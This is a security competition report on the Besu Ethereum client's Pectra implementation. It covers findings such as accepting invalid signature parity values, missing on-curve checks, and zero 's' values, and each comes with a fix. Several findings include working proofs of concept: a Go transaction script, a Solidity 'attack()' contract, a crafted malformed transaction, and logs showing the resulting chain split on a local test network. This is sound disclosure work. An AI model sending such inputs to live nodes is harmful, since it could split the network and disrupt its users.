

A series of concentric semi-circles in various shades of orange, creating a tunnel-like effect that draws the eye towards the center of the page.

# **Ethereum Pectra: Besu**

## **Competition**

July 21, 2025

# Contents

<b>1</b>	<b>Introduction</b>	<b>2</b>
1.1	About Cantina . . . . .	2
1.2	Disclaimer . . . . .	2
1.3	Risk assessment . . . . .	2
1.3.1	Severity Classification . . . . .	2
<b>2</b>	<b>Security Review Summary</b>	<b>3</b>
<b>3</b>	<b>Findings</b>	<b>4</b>
3.1	Medium Risk . . . . .	4
3.1.1	Besu accepts code delegations with <code>y_parity</code> having value 2 or 3, leading to chain split	4
3.1.2	Besu doesn't verify whether <code>G1</code> points lie on the curve in the <code>G1MSM</code> and <code>PAIRING_CHECK</code> precompiles . . . . .	12
3.2	Low Risk . . . . .	14
3.2.1	<code>R</code> not checked to be lower than <code>N</code> in non-native mode for code delegation signatures	14
3.2.2	Besu does not verify that the <code>s</code> value in EIP-7702 authorization is not equal to zero . .	14
3.2.3	Besu lack of 7702 filters for tx-pool transactions allows tx-pool DoS . . . . .	20
3.2.4	Besu allows cross-chain replays of 7702 to DoS pending transactions . . . . .	21
3.3	Informational . . . . .	22
3.3.1	Besu native uses incorrect length for dispatching . . . . .	22
3.3.2	Besu doesn't apply EIP-7623 during gas estimation . . . . .	22
3.3.3	Besu incorrectly traces <code>CALL*</code> gas costs for 7702 delegations . . . . .	24

# 1 Introduction

## 1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at [cantina.xyz](https://cantina.xyz)

## 1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

## 1.3 Risk assessment

Severity	Description
High	<i>Must</i> fix as soon as possible (if already deployed) and can be triggered by any user without significant constraints, generating outsized returns to the exploiter. For example: loss of user funds (significant amount of funds being stolen or lost) or breaking core functionality (failure in fundamental protocol operations).
Medium	Global losses <10% or losses to only a subset of users, requiring significant constraints (capital, planning, other users...) to be exploited. For example: temporary disruption or denial of service (DoS), minor fund loss or exposure or breaking non-core functionality
Low	Losses will be annoying but easily recoverable, requiring unusual scenarios or admin actions to be exploited.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

### 1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

## 2 Security Review Summary

Ethereum is a worldwide system, an open-source platform to write computer code that stores and automates digital databases using smart contracts, without relying upon a central intermediary, solving trust with cryptographic techniques.

From Feb 21st to Mar 27th Cantina hosted a competition based on the Ethereum Pectra upgrade. The present report focuses in the [besu](#) implementation. The participants identified a total of **9** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 2
- Low Risk: 4
- Gas Optimizations: 0
- Informational: 3

## 3 Findings

### 3.1 Medium Risk

#### 3.1.1 Besu accepts code delegations with `y_parity` having value 2 or 3, leading to chain split

Submitted by *zigtur*, also found by *cergyk*, *alexfilippov314* and *JCdaisuki*

**Severity:** Medium Risk

**Context:** `CodeDelegationSignature.java#L44-L59`, `CodeDelegation.java#L122-L129`, `MainnetTransactionValidator.java#L145-L185`

**Description:** The besu execution client does not ensure that the `v` value (also known as `y_parity` in EIP-7702) is either 0 or 1 as expected. In the current codebase, it accepts 0, 1, 2, 3 as values.

**Impact:** A code delegation with `y_parity` = 2 or 3 will be processed by Besu while other clients will deny it. Then, this can lead to chain fork. Besu represents 16% of clients, justifying a MEDIUM issue.

**Code snippet:**

```
@Override
public Optional<Address> authorizer() {
    // recId needs to be between 0 and 3, otherwise the signature is invalid
    // which means we can't recover the authorizer.
    if (signature.getRecId() < 0 || signature.getRecId() > 3) {
        return Optional.empty(); // @POC: accept values between 0 and 3
    }

    return authorizerSupplier.get(); // @POC: recover the authorizer
}
```

Also, note that the check is not executed in `processCodeDelegation`.

```
private void processCodeDelegation(
    final EVMWorldUpdater evmWorldUpdater,
    final CodeDelegation codeDelegation,
    final CodeDelegationResult result) {
    LOG.trace("Processing code delegation: {}", codeDelegation);

    if (maybeChainId.isPresent()
        && !codeDelegation.chainId().equals(BigInteger.ZERO)
        && !maybeChainId.get().equals(codeDelegation.chainId())) { // @POC: check chainID as expected in EIP
        LOG.trace(
            "Invalid chain id for code delegation. Expected: {}, Actual: {}",
            maybeChainId.get(),
            codeDelegation.chainId());
        return;
    }

    if (codeDelegation.nonce() == MAX_NONCE) { // @POC: check nonce as expected in EIP
        LOG.trace("Nonce of code delegation must be less than 2^64-1");
        return;
    }

    if (codeDelegation.signature().getS().compareTo(halfCurveOrder) > 0) { // @POC: s <= N/2
        LOG.trace(
            "Invalid signature for code delegation. S value must be less or equal than the half curve order.");
        return;
    }

    final Optional<Address> authorizer = codeDelegation.authorizer(); // @POC: compute authorizer, lacks a check
    ↪ for V in range [0; 1]
    if (authorizer.isEmpty()) {
        LOG.trace("Invalid signature for code delegation");
        return;
    }

    LOG.trace("Set code delegation for authority: {}", authorizer.get());

    final Optional<MutableAccount> maybeAuthorityAccount =
        Optional.ofNullable(evmWorldUpdater.getAccount(authorizer.get()));

    result.addAccessedDelegatorAddress(authorizer.get());
}
```

```

MutableAccount authority;
boolean authorityDoesAlreadyExist = false;
if (maybeAuthorityAccount.isEmpty()) {
    // only create an account if nonce is valid
    if (codeDelegation.nonce() != 0) {
        return;
    }
    authority = evmWorldUpdater.createAccount(authorizer.get());
} else {
    authority = maybeAuthorityAccount.get();

    if (!evmWorldUpdater.codeDelegationService().canSetCodeDelegation(authority)) {
        return;
    }

    authorityDoesAlreadyExist = true;
}

if (codeDelegation.nonce() != authority.getNonce()) {
    LOG.trace(
        "Invalid nonce for code delegation. Expected: {}, Actual: {}",
        authority.getNonce(),
        codeDelegation.nonce());
    return;
}

if (authorityDoesAlreadyExist) {
    result.incrementAlreadyExistingDelegators();
}

evmWorldUpdater
    .codeDelegationService()
    .processCodeDelegation(authority, codeDelegation.address());
authority.incrementNonce();
}

```

For comparison, go-ethereum will deny  $v == 2$  and  $v == 3$  in the `ValidateSignatureValues` function.

```

// ValidateSignatureValues verifies whether the signature values are valid with
// the given chain rules. The v value is assumed to be either 0 or 1.
func ValidateSignatureValues(v byte, r, s *big.Int, homestead bool) bool {
    if r.Cmp(common.Big1) < 0 || s.Cmp(common.Big1) < 0 {
        return false
    }
    // reject upper range of s values (ECDSA malleability)
    // see discussion in secp256k1/libsecp256k1/include/secp256k1.h
    if homestead && s.Cmp(secp256k1halfN) > 0 {
        return false
    }
    // Frontier: allow s to be in full N range
    return r.Cmp(secp256k1N) < 0 && s.Cmp(secp256k1N) < 0 && (v == 0 || v == 1)
}

```

## Proof of Concept:

- Initial setup: Start a localnet with besu and geth. This can be done with kurtosis.
- Monitoring: To monitor the two nodes block hash, you can use the following python script:

```

python3 -m venv localenv
source localenv/bin/activate
pip3 install web3

```

```

from web3 import Web3
import time
import logging

# Configure logging
logging.basicConfig(
    level=logging.INFO, # Set logging level
    format="%(asctime)s - %(levelname)s - %(message)s", # Log format
    handlers=[
        logging.FileHandler("block_monitor.log"), # Save logs to a file
        logging.StreamHandler() # Print logs to the console (CLI)
    ]
)

```

```

)

# Ethereum node RPC URLs (Replace these with actual node URLs)
NODE_URLS = [
    "http://127.0.0.1:57764",
    "http://127.0.0.1:57774"
]

# Connect to nodes
web3_nodes = [Web3(Web3.HTTPProvider(url)) for url in NODE_URLS]

# Function to get the latest block hash from a node
def get_latest_block_hash(w3):
    try:
        latest_block = w3.eth.get_block('latest')
        return latest_block['hash'].hex()
    except Exception as e:
        logging.error(f"Error fetching block from node {w3.provider.endpoint_uri}: {e}")
        return None

def monitor_blocks():
    last_checked_block = None
    while True:
        try:
            block_hashes = {}

            # Fetch latest block number from the first node
            latest_block_number = web3_nodes[0].eth.block_number
            if latest_block_number == last_checked_block:
                time.sleep(3) # Wait before checking again
                continue

            # Fetch block hashes from all nodes
            for i, w3 in enumerate(web3_nodes):
                block_hash = get_latest_block_hash(w3)
                if block_hash:
                    block_hashes[f"Node {i+1}"] = block_hash

            # Compare block hashes
            unique_hashes = set(block_hashes.values())
            if len(unique_hashes) > 1:
                logging.warning(f"Block hash mismatch detected at block {latest_block_number}:  
↔ {block_hashes}")
            else:
                logging.info(f"Block {latest_block_number} verified successfully")

            last_checked_block = latest_block_number
        except Exception as e:
            logging.error(f"Unexpected error in monitoring loop: {e}")

        time.sleep(3) # Check every 3 seconds

if __name__ == "__main__":
    logging.info("Ethereum Block Monitoring Started...")
    monitor_blocks()

```

- Execution: Create a folder go-ethereum/script, then go in script and import the code in script.go. Finally, execute `go run script.go`.

```

package main

import (
    "context"
    "crypto/ecdsa"
    "encoding/hex"
    "fmt"
    "log"

    "github.com/ethereum/go-ethereum/common"
    "github.com/ethereum/go-ethereum/core/types"
    "github.com/ethereum/go-ethereum/crypto"
    "github.com/ethereum/go-ethereum/ethclient"
    "github.com/holiman/uint256"
)

func main() {

```

```

// Load environment variables
rpcURL := "http://127.0.0.1:51172"
privateKeyHex := "bcdf20249abf0ed6d944c0288fad489e33f66b3960d9e6229c1cd214ed3bbe31"
toAddressHex := "0x8F0342A7060e76dfc7F6e9dEbfAD9b9eC919952c"

// Connect to Ethereum client
client, err := ethclient.Dial(rpcURL)
if err != nil {
    log.Fatalf("Failed to connect to the Ethereum client: %v", err)
}
defer client.Close()

// Load the private key
privateKeyBytes, err := hex.DecodeString(privateKeyHex)
if err != nil {
    log.Fatalf("Invalid private key: %v", err)
}

privateKey, err := crypto.ToECDSA(privateKeyBytes)
if err != nil {
    log.Fatalf("Failed to parse private key: %v", err)
}

publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
    log.Fatal("Failed to assert public key type")
}

fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
if err != nil {
    log.Fatalf("Failed to get nonce: %v", err)
}
log.Printf("Nonce: %d\n", nonce)
data := common.FromHex("f8a8fd6d")

gasTipCap := uint256.NewInt(1000000000) // 1 Gwei
gasFeeCap := uint256.NewInt(20000000000) // 20 Gwei
value := uint256.NewInt(0) // 1 Ether
toAddress := common.HexToAddress(toAddressHex)
chainId := uint64(3151908)

// @PQC: generate invalid signature (V is not in range)
s, err := uint256.FromHex("0x504F7A39DF20047B60F2D49987DC1C50C9DC4A5A67C981E234248EA2AA1A97F4")
if err != nil {
    fmt.Println("s - Error converting hex to uint256:", err)
    return
}
r, err := uint256.FromHex("0x2")
if err != nil {
    fmt.Println("Error converting hex to uint256:", err)
    return
}
signedAuth := types.SetCodeAuthorization{
    ChainID: *uint256.NewInt(3151908),
    Address: common.HexToAddress("0x0000000000000000000000000000000000000000000000000000000000000000"),
    Nonce: 0,
    V: 2,
    R: *r,
    S: *s,
}

// @PQC: recovered address will be 0xC60859a1B67DFb51AB7aA3C004D754CbbA8240d6

tx := &types.SetCodeTx{
    ChainID: uint256.NewInt(chainId),
    Nonce: nonce,
    GasTipCap: gasTipCap,
    GasFeeCap: gasFeeCap,
    Gas: 2000000,
    To: toAddress,
    Value: value,
    Data: data,
    AccessList: types.AccessList{},
    AuthList: []types.SetCodeAuthorization{signedAuth},
    V: nil,
}

```



```

    R:         nil,
    S:         nil,
}
// Sign the transaction
chainID, err := client.NetworkID(context.Background())
if err != nil {
    log.Fatalf("Failed to get network ID: %v", err)
}
preTx := types.NewTx(tx)
signedTx, err := types.SignTx(preTx, types.NewPragueSigner(chainID), privateKey)
if err != nil {
    log.Fatalf("Failed to sign transaction: %v", err)
}

// Send the transaction
err = client.SendTransaction(context.Background(), signedTx)
if err != nil {
    log.Fatalf("Failed to send transaction: %v", err)
}

fmt.Printf("Transaction sent: %s\n", signedTx.Hash().Hex())
}

```

- Results:

```

2025-03-05 11:11:13,885 - INFO - Block 43 verified successfully
2025-03-05 11:11:25,953 - INFO - Block 44 verified successfully
2025-03-05 11:11:38,013 - INFO - Block 45 verified successfully
2025-03-05 11:11:50,060 - INFO - Block 46 verified successfully
2025-03-05 11:12:02,102 - INFO - Block 47 verified successfully
2025-03-05 11:12:14,162 - INFO - Block 48 verified successfully
2025-03-05 11:12:26,233 - WARNING - Block hash mismatch detected at block 49: {'Node 1':
→ '8b8cecc852581a8ca1229f30784309ed9a563f57d912fc5a31e9491cc26904c9', 'Node 2':
→ '414b769a0e7b1cd646aa0f34e29555a10fe3afba0d53ba200e1e91029607da05'}
2025-03-05 11:12:38,307 - WARNING - Block hash mismatch detected at block 50: {'Node 1':
→ '785a895b6efbb9dee52ee96c35564bbedd58ab99c5244f23c9f43fe208de341e', 'Node 2':
→ '414b769a0e7b1cd646aa0f34e29555a10fe3afba0d53ba200e1e91029607da05'}
2025-03-05 11:13:14,548 - WARNING - Block hash mismatch detected at block 51: {'Node 1':
→ '38bb2cbf8e36906aefcaad7a8078cac92c128b9c9ce7f5f03203ecd12f71d8', 'Node 2':
→ '0751285194fe40a54be108143a77b709820b13995e1e3df8574ef00242eb5963'}

```

The TRACE logs from besu show the following:

```

2025-03-05 10:12:24.047+00:00 | EthScheduler-BlockCreation-5 | TRACE | CodeDelegationProcessor |
→ Processing code delegation: CodeDelegation{chainId=3151908,
→ address=0x00000000000000000000000000000000000000000000000000000000000000001234, nonce=0, signature=Signature{r=2,
→ s=36325452378047884189031233113332351545143045923207285455348187067789579294708, recId=2},
→ authorizerSupplier=Suppliers.memoize(org.hyperledger.besu.ethereum.core.CodeDelegation$$Lambda/0x00
→ 00000101768000@251173d3)}
2025-03-05 10:12:24.047+00:00 | EthScheduler-BlockCreation-5 | TRACE | CodeDelegationProcessor | Set
→ code delegation for authority: 0xc60859a1b67dfb51ab7aa3c004d754cbba8240d6

```

We can see that the delegation is executed even if `recId = 2`. This is discarded by go-ethereum.

**Kurtosis YAML file:** This YAML file used with kurtosis and the ethereum-package will create a localnet with 2 nodes: 1 geth and 1 besu. Pectra activates at block 32 (epoch 1):

```

participants:
**EL:**

- el_type: besu
  el_image: hyperledger/besu:develop-arm64
  el_log_level: "TRACE"
  el_extra_env_vars: {}
  el_extra_labels: {}
  el_extra_params: []
  el_tolerations: []
  el_volume_size: 0
  el_min_cpu: 0
  el_max_cpu: 0
  el_min_mem: 0
  el_max_mem: 0
  # CL
  cl_type: lighthouse

```

```

cl_image: sigp/lighthouse:latest-unstable
cl_log_level: ""
cl_extra_env_vars: {}
cl_extra_labels: {}
cl_extra_params: []
cl_tolerations: []
cl_volume_size: 0
cl_min_cpu: 0
cl_max_cpu: 0
cl_min_mem: 0
cl_max_mem: 0
supernode: false
use_separate_vc: true
# Validator
vc_type: lighthouse
vc_image: sigp/lighthouse:latest-unstable
vc_log_level: ""
vc_extra_env_vars: {}
vc_extra_labels: {}
vc_extra_params: []
vc_tolerations: []
vc_min_cpu: 0
vc_max_cpu: 0
vc_min_mem: 0
vc_max_mem: 0
validator_count: null
use_remote_signer: false
# Remote signer
remote_signer_type: web3signer
remote_signer_image: consensus/web3signer:latest
remote_signer_extra_env_vars: {}
remote_signer_extra_labels: {}
remote_signer_extra_params: []
remote_signer_tolerations: []
remote_signer_min_cpu: 0
remote_signer_max_cpu: 0
remote_signer_min_mem: 0
remote_signer_max_mem: 0
# Participant specific
node_selectors: {}
tolerations: []
count: 1
snooper_enabled: false
ethereum_metrics_exporter_enabled: false
xatu_sentry_enabled: false
prometheus_config:
  scrape_interval: 15s
  labels: {}
blobber_enabled: false
blobber_extra_params: []
builder_network_params: null
keymanager_enabled: false

# SECOND config
- el_type: geth
  el_image: local/geth:pectra-zigtur
  el_log_level: "DEBUG"
  el_extra_env_vars: {}
  el_extra_labels: {}
  el_extra_params: []
  el_tolerations: []
  el_volume_size: 0
  el_min_cpu: 0
  el_max_cpu: 0
  el_min_mem: 0
  el_max_mem: 0
  # CL
  cl_type: lighthouse
  cl_image: sigp/lighthouse:latest-unstable
  cl_log_level: ""
  cl_extra_env_vars: {}
  cl_extra_labels: {}
  cl_extra_params: []
  cl_tolerations: []
  cl_volume_size: 0
  cl_min_cpu: 0

```



```

    prefunded_accounts: {}
additional_services: []
dora_params:
    image: ""
tx_spammer_params:
    tx_spammer_extra_args: []
spamoor_blob_params:
    spamoor_extra_args: []
prometheus_params:
    storage_tsdb_retention_time: "1d"
    storage_tsdb_retention_size: "512MB"
    min_cpu: 10
    max_cpu: 1000
    min_mem: 128
    max_mem: 2048
grafana_params:
    additional_dashboards: []
    min_cpu: 10
    max_cpu: 1000
    min_mem: 128
    max_mem: 2048
assertoor_params:
    image: ""
    run_stability_check: false
    run_block_proposal_check: false
    run_transaction_test: false
    run_blob_transaction_test: false
    run_opcodes_transaction_test: false
    run_lifecycle_test: false
    tests: []
wait_for_finalization: false
global_log_level: info
snooper_enabled: false
ethereum_metrics_exporter_enabled: false
parallel_keystore_generation: false
disable_peer_scoring: false
persistent: false
mev_type: null
mev_params:
    mev_relay_image: ethpandaops/mev-boost-relay:main
    mev_builder_image: ethpandaops/flashbots-builder:main
    mev_builder_cl_image: sigp/lighthouse:latest
    mev_boost_image: ethpandaops/mev-boost:develop
    mev_boost_args: ["mev-boost", "--relay-check"]
    mev_relay_api_extra_args: []
    mev_relay_housekeeper_extra_args: []
    mev_relay_website_extra_args: []
    mev_builder_extra_args: []
    mev_builder_prometheus_config:
        scrape_interval: 15s
        labels: {}
    mev_flood_image: flashbots/mev-flood
    mev_flood_extra_args: []
    mev_flood_seconds_per_bundle: 15
    custom_flood_params:
        interval_between_transactions: 1
xatu_sentry_enabled: false
xatu_sentry_params:
    xatu_sentry_image: ethpandaops/xatu-sentry
    xatu_server_addr: localhost:8000
    xatu_server_tls: false
    xatu_server_headers: {}
    beacon_subscriptions:
        - attestation
        - block
        - chain_reorg
        - finalized_checkpoint
        - head
        - voluntary_exit
        - contribution_and_proof
        - blob_sidecar
apache_port: 40000
global_tolerations: []
global_node_selectors: {}
keymanager_enabled: false
checkpoint_sync_enabled: false

```

```

checkpoint_sync_url: ""
ethereum_genesis_generator_params:
  image: ethpandaops/ethereum-genesis-generator:3.7.0
port_publisher:
  nat_exit_ip: KURTOSIS_IP_ADDR_PLACEHOLDER
  el:
    enabled: false
    public_port_start: 32000
  cl:
    enabled: false
    public_port_start: 33000
  vc:
    enabled: false
    public_port_start: 34000
remote_signer:
  enabled: false
  public_port_start: 35000
additional_services:
  enabled: false
  public_port_start: 36000

```

**Recommendation:** Besu must ensure that the recover ID (y\_parity is either 0 or 1).

```

@@ -123,7 +123,7 @@ public class CodeDelegation implements org.hyperledger.besu.datatypes.CodeDelega
public Optional<Address> authorizer() {
    // recId needs to be between 0 and 3, otherwise the signature is invalid
    // which means we can't recover the authorizer.
-   if (signature.getRecId() < 0 || signature.getRecId() > 3) {
+   if (signature.getRecId() < 0 || signature.getRecId() > 1) {
        return Optional.empty();
    }
}

```

### 3.1.2 Besu doesn't verify whether G1 points lie on the curve in the G1MSM and PAIRING\_CHECK precompiles

Submitted by [alexfilippov314](#)

**Severity:** Medium Risk

**Context:** (No context files were provided by the reviewer)

**Description:** EIP-2537 states that input points in the G1MSM, G2MSM, and PAIRING\_CHECK precompiles must be in the correct subgroup. The gnark-crypto library, which Besu uses under the hood, verifies this using the endomorphism test described in the EIP:

The G1 case

Before accepting a point P as input that purports to be a member of G1 subject the input to the following endomorphism test:  $\phi(P) + x^2 \cdot P = 0$

The G2 case

Before accepting a point P as input that purports to be a member of G2 subject the input to the following endomorphism test:  $\psi(P) + x \cdot P = 0$

The issue arises because Besu doesn't perform an on-curve check for G1 points if the subgroup check passes. This can be seen in the following code snippet:

```
func g1AffineDecodeInSubGroupVal(g1 *bls12381.G1Affine, input []byte) (*bls12381.G1Affine, error) {
    if hasWrongG1Padding(input) {
        return nil, ErrMalformedPointPadding
    }
    err := g1.X.SetBytesCanonical(input[16:64])
    if err != nil {
        return nil, err
    }
    err = g1.Y.SetBytesCanonical(input[80:128])
    if err != nil {
        return nil, err
    }

    // do explicit subgroup check
    if (!g1.IsInSubGroup()) {
        if (!g1.IsOnCurve()) {
            return nil, ErrPointOnCurveCheckFailed
        }
        return nil, ErrSubgroupCheckFailed
    }
    return g1, nil;
}
```

This approach is flawed because passing the endomorphism test does not guarantee that the input is a valid point on the curve. As a result, Besu will accept inputs that other clients reject, producing results in these precompiles that will cause all Besu nodes to split from the rest of the network.

**Proof of Concept:** This proof of concept demonstrates the issue with the G1MSM precompile, but it can also be reproduced with PAIRING\_CHECK precompile. To illustrate the issue, I found a point on a different curve that still passes the endomorphism test (`g1.IsInSubGroup`).

```

Elliptic Curve defined by  $y^2 = x^3 + 24$  over Finite Field of size 4002409555221667393417789825735904156556882
↳ 819939007885332058136124031650490837864442687629129015664037894272559787
(1563311815873081220285993675342141245310974220297818772030154712466505762317169118162528189777729008132203959
↳ 344556 :
↳ 3236674100890915460738904118849163307977137634186030159846763358736164886129980111795846993376080270444574
↳ 334963907 : 1)

```

With this, we can craft an input for the G1MSM precompile that causes a chain split. In this case, it is simply the scalar multiplication of this point by zero.

[illegible]

I have verified that sending `attack()` transaction with this contract causes a chain split:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract POC {
    address immutable msm = address(0x0c);
    bytes32 s;

    function attack() public {
        bytes memory data = hex'000000000000000000000000000000000000a2833e497b38ee3ca5c62828bf4887a9f940c9e426c78
↳ 90a759c20f248c23a7210d2432f4c98a514e524b5184a0ddac000000000000000000000000000000000000150772d56bf95094
↳ 69f9ebcd6e47570429fd31b0e262b66d512e245c38ec37255529f2271fd70066473e393a8bead0c3000000000000000000';
↳ 0000000000000000000000000000000000000000000000000000000000000000';
        (bool success, bytes memory result) = msm.call(data);
        s = keccak256(result);
    }
}
```

However, the issue can be reproduced by simply calling the precompile with different RPCs:

[illegible]

Besu returns a point at infinity, while all other clients return an error.

**Recommendation:** Consider verifying that G1 points are on the curve before checking that they are in the correct subgroup similarly to how it is implemented in the `g2AffineDecodeInSubGroupVal`.

## 3.2 Low Risk

### 3.2.1 R not checked to be lower than N in non-native mode for code delegation signatures

Submitted by [cergyk](#), also found by [alexfilippov314](#)

**Severity:** Low Risk

**Context:** (No context files were provided by the reviewer)

**Description:** When decoding `SetCodeTx` transactions, `CodeDelegationSignature` are not decoded in the same way as regular signatures (use of a custom function `createCodeDelegationSignature`). This function does not check that `r` provided is within  $]0, N[$  where `N` is the curve order.

- [crypto/AbstractSECP256.java#L215-L219](#):

```
@Override
public CodeDelegationSignature createCodeDelegationSignature(
    final BigInteger r, final BigInteger s, final byte yParity) {
    return CodeDelegationSignature.create(r, s, yParity);
}
```

The signature recovery would fail when native libraries are used because they expect `r` to be in compact form, but in non-native path `r` will be accepted to be in  $]N, P[$ . This does not meet specification requirements which specify that `ecrecover` should be used to recover authorizer, and `ecrecover` expects `r` in  $]0, N[$  per its spec.

**Concrete attack path:** Please note that it is extremely unlikely to generate a signature by using a private key which has `r > N` (less than 1 in  $1^{**128}$  at random), but also very easy to generate a signature which has `r > N` for a valid `CodeDelegation` tuple hash, which will recover to a public key for which the private key is not known. If such a signature is provided to a Besu node running in non-native mode, it would be accepted and a chain-split would be caused.

**Recommendation:** Check that `R` falls in  $]0, N[$  in the java algorithm as well.

**Proof of Concept:** Add the following test to `CodeDelegationTest.java` with the small change of declaring variable `SIGNATURE_ALGORITHM` public in `CodeDelegation`:

```
@Test
void shouldReturnAuthorizerWhenSignatureIsValid() {
    @SuppressWarnings("unused")
    var S = new BigInteger(1, Hex.decodeStrict("01"));

    var N = CodeDelegation.SIGNATURE_ALGORITHM.get().getCurve().getN();

    // @audit add N the curve order, so that R now lies outside ]0; N[ which is not
    // ok as per spec of ecrecover
    var R = new BigInteger(1, Hex.decodeStrict("02")).add(N);

    // @audit comment disableNative to make the test fail again, showing that it is
    // specific to non-native implementation
    CodeDelegation.SIGNATURE_ALGORITHM.get().disableNative();

    CodeDelegationSignature _signature = CodeDelegationSignature.create(R, S, (byte) 1);
    CodeDelegation delegation = new CodeDelegation(chainId, address, nonce, _signature);

    Optional<Address> authorizer = delegation.authorizer();

    assertThat(authorizer).isNotEmpty();
}
```

### 3.2.2 Besu does not verify that the `s` value in EIP-7702 authorization is not equal to zero

Submitted by [alexfilippov314](#)

**Severity:** Low Risk

**Context:** [CodeDelegationSignature.java#L44-L61](#)

**Description:** [EIP-7702](#) authorization signatures should be verified similarly to standard transaction signatures. This includes ensuring that the `s` component of the signature is not zero. Additionally, the `s` value must be less than the curve order, but this is already enforced by the `s <= halfN` check. Besu explicitly verifies the `s` value for transaction signatures, as shown in the following code snippet:

```
public static SECP256K1Signature create(
    final BigInteger r, final BigInteger s, final byte recId, final BigInteger curveOrder) {
    checkNotNull(r);
    checkNotNull(s);
    checkInBounds("r", r, curveOrder);
    checkInBounds("s", s, curveOrder);
    if (recId != 0 && recId != 1) {
        throw new IllegalArgumentException(
            "Invalid 'recId' value, should be 0 or 1 but got " + recId);
    }
    return new SECP256K1Signature(r, s, recId);
}
```

Additionally, Besu indirectly ensures that the `s` value is not zero when using the native `secp256k1` implementation. This check occurs in [SECP256K1.java#L239-L243](#):

```
if (LibSecp256k1.secp256k1_ecdsa_recover(
    LibSecp256k1.CONTEXT, newPubKey, parsedSignature, dataHash.toArrayUnsafe())
    == 0) {
    return Optional.empty();
}
```

However, the issue arises because Besu does not verify the correctness of the `s` value when using the Java implementation of `secp256k1`. It is worth noting that the native implementation is used by default, so this issue affects only some part of Besu users.

The absence of this check allows a malicious user to submit an authorization signature with an `s` value equal to zero. This would result in Besu nodes using the Java implementation of `secp256k1` splitting from the rest of the network.

### Proof of Concept:

1. Install Kurtosis.
2. Create `network_params.yaml` with the following content. I've used this [image](#) for besu (it was latest at the time of testing):

```
participants:
  - el_type: geth
    cl_type: prysm
    count: 1
  - el_type: nethermind
    cl_type: prysm
    count: 1
  - el_type: besu
    el_extra_params: ["--Xsecp256k1-native-enabled", "false"]
    cl_type: prysm
    count: 1

network_params:
  network_id: "585858"
  electra_fork_epoch: 1
  genesis_gaslimit: 30000000
```

3. Create `Makefile` with the following content:



```
build-geth: ## build geth
    cd /home/allfi/src/audits/cantina/pectra/execution/go-ethereum && docker build -t local-ef-geth:latest .

start-e2e: ## start the e2e
    kurtosis run github.com/ethpandaops/ethereum-package --args-file ./network_params.yaml --image-download
    ↪ always --enclave e2e

kill-e2e: ## stop e2e tests
    kurtosis enclave stop e2e
    kurtosis enclave rm e2e

## Phony targets
.PHONY: build-geth start-e2e kill-e2e
```

4. Run the network:

```
make start-e2e
```

5. Wait for block 33 to ensure that Pectra is active.

6. Send the attack transaction.

[illegible]

The decoded version of this transaction is as follows:

```
{
  "type": "0x4",
  "chainId": "0x8f082",
  "nonce": "0x0",
  "gas": "0x30d40",
  "maxFeePerGas": "0x77359400",
  "maxPriorityFeePerGas": "0x31",
  "to": "0x0000000000000000000000000000000000000000",
  "value": "0x0",
  "accessList": [],
  "authorizationList": [
    {
      "chainId": "0x8f082",
      "address": "0x6f786d58d9d378f80efbaf3a49ef1be38542f359",
      "nonce": "0x0",
      "yParity": "0x1",
      "r": "0xd2fc238543fcc797d5db7ab6f867cc807bc0eb7b157a070ca7742c457495b388",
      "s": "0x0"
    }
  ],
  "input": "0x",
  "r": "0x282471964d7b5dc040c31d97fb80cbfb81a4a2e9b51dbc005fbac4daaf376a6e",
  "s": "0x178a7a7da744b3f49c325e13ee2dba6377c5dfd828b68339579c53e1e8108d7c",
  "yParity": "0x0",
  "v": "0x0",
  "hash": "0xff0845c517199ccf2d4f797dc005669dff5f35bbd3c8567abb00fcd8595c8194"
}
```

As you can see, the `s` value in the authorization is set to zero.

7. The logs show that Besu splits from the rest of the network at block 48.

- **Besu:**

```

2025-03-11 14:55:52.141+00:00 | vert.x-worker-thread-0 | INFO | AbstractEngineNewPayload | Imported #47
→ (adab1....ad6ee)| 0 tx| 0 ws| 0 blobs| base fee 1.88 mwei| gas used 0 ( 0.0%)|
→ exec time 0.003s| mgas/s 0.00| peers: 2
2025-03-11 14:56:04.160+00:00 | vert.x-worker-thread-0 | ERROR | AbstractBlockProcessor | failed
→ persisting block
java.lang.RuntimeException: World State Root does not match expected value, header
→ 0x86161345e057f27fe6206e81feca9ab12ec26c0a4bfff716d05be08001918dba1 calculated
→ 0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789
    at org.hyperledger.besu.ethereum.trie.diffbased.common.worldview.DiffBasedWorldState.verifyWorldS
    → tateRoot(DiffBasedWorldState.java:246)
    at org.hyperledger.besu.ethereum.trie.diffbased.common.worldview.DiffBasedWorldState.persist(Diff
    → BasedWorldState.java:204)
    at org.hyperledger.besu.ethereum.mainnet.AbstractBlockProcessor.processBlock(AbstractBlockProcess
    → or.java:273)
    at org.hyperledger.besu.ethereum.mainnet.AbstractBlockProcessor.processBlock(AbstractBlockProcess
    → or.java:105)
    at org.hyperledger.besu.ethereum.mainnet.BlockProcessor.processBlock(BlockProcessor.java:78)
